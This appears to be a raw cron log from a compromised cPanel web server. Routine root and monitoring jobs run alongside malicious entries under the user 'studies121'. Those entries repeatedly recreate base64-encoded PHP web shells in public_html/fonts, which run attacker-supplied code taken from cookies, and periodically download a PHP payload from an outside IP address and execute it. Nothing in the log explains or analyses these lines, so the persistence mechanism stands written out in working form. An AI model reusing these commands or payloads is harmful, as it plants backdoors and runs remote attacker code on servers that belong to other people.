Sep  9 23:44:01 ip-184-168-122-23 CROND[31733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:44:01 ip-184-168-122-23 CROND[31735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:45:01 ip-184-168-122-23 CROND[31824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:45:01 ip-184-168-122-23 CROND[31825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:45:01 ip-184-168-122-23 CROND[31828]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:45:01 ip-184-168-122-23 CROND[31826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:45:01 ip-184-168-122-23 CROND[31829]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:45:01 ip-184-168-122-23 CROND[31830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:46:01 ip-184-168-122-23 CROND[31915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:46:01 ip-184-168-122-23 CROND[31919]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:46:01 ip-184-168-122-23 CROND[31921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:46:01 ip-184-168-122-23 CROND[31918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:46:01 ip-184-168-122-23 CROND[31920]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 23:46:01 ip-184-168-122-23 CROND[31917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:46:01 ip-184-168-122-23 CROND[31922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:47:01 ip-184-168-122-23 CROND[32038]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:47:01 ip-184-168-122-23 CROND[32040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:47:01 ip-184-168-122-23 CROND[32039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:47:02 ip-184-168-122-23 CROND[32042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:48:01 ip-184-168-122-23 CROND[32195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:48:01 ip-184-168-122-23 CROND[32198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:48:01 ip-184-168-122-23 CROND[32199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:48:01 ip-184-168-122-23 CROND[32201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:48:01 ip-184-168-122-23 CROND[32200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:49:01 ip-184-168-122-23 CROND[32286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:49:01 ip-184-168-122-23 CROND[32288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:49:01 ip-184-168-122-23 CROND[32287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:49:01 ip-184-168-122-23 CROND[32289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:50:01 ip-184-168-122-23 CROND[32381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32385]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32389]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32388]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:50:01 ip-184-168-122-23 CROND[32390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:50:01 ip-184-168-122-23 CROND[32386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:51:01 ip-184-168-122-23 CROND[32498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:51:01 ip-184-168-122-23 CROND[32500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:51:01 ip-184-168-122-23 CROND[32501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:51:01 ip-184-168-122-23 CROND[32504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:52:01 ip-184-168-122-23 CROND[32583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:52:01 ip-184-168-122-23 CROND[32585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:52:01 ip-184-168-122-23 CROND[32588]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:52:01 ip-184-168-122-23 CROND[32586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:52:01 ip-184-168-122-23 CROND[32587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:53:01 ip-184-168-122-23 CROND[32761]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  9 23:53:01 ip-184-168-122-23 CROND[32762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:53:01 ip-184-168-122-23 CROND[32765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:53:01 ip-184-168-122-23 CROND[32763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:53:01 ip-184-168-122-23 CROND[32764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:54:01 ip-184-168-122-23 CROND[417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:54:01 ip-184-168-122-23 CROND[419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:54:01 ip-184-168-122-23 CROND[421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:54:01 ip-184-168-122-23 CROND[423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:54:01 ip-184-168-122-23 CROND[422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:55:01 ip-184-168-122-23 CROND[520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:55:01 ip-184-168-122-23 CROND[522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:55:01 ip-184-168-122-23 CROND[524]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:55:01 ip-184-168-122-23 CROND[525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:55:01 ip-184-168-122-23 CROND[529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:55:01 ip-184-168-122-23 CROND[528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:56:01 ip-184-168-122-23 CROND[629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 23:56:01 ip-184-168-122-23 CROND[631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 23:56:01 ip-184-168-122-23 CROND[632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:56:01 ip-184-168-122-23 CROND[634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:56:01 ip-184-168-122-23 CROND[635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 23:57:02 ip-184-168-122-23 CROND[751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
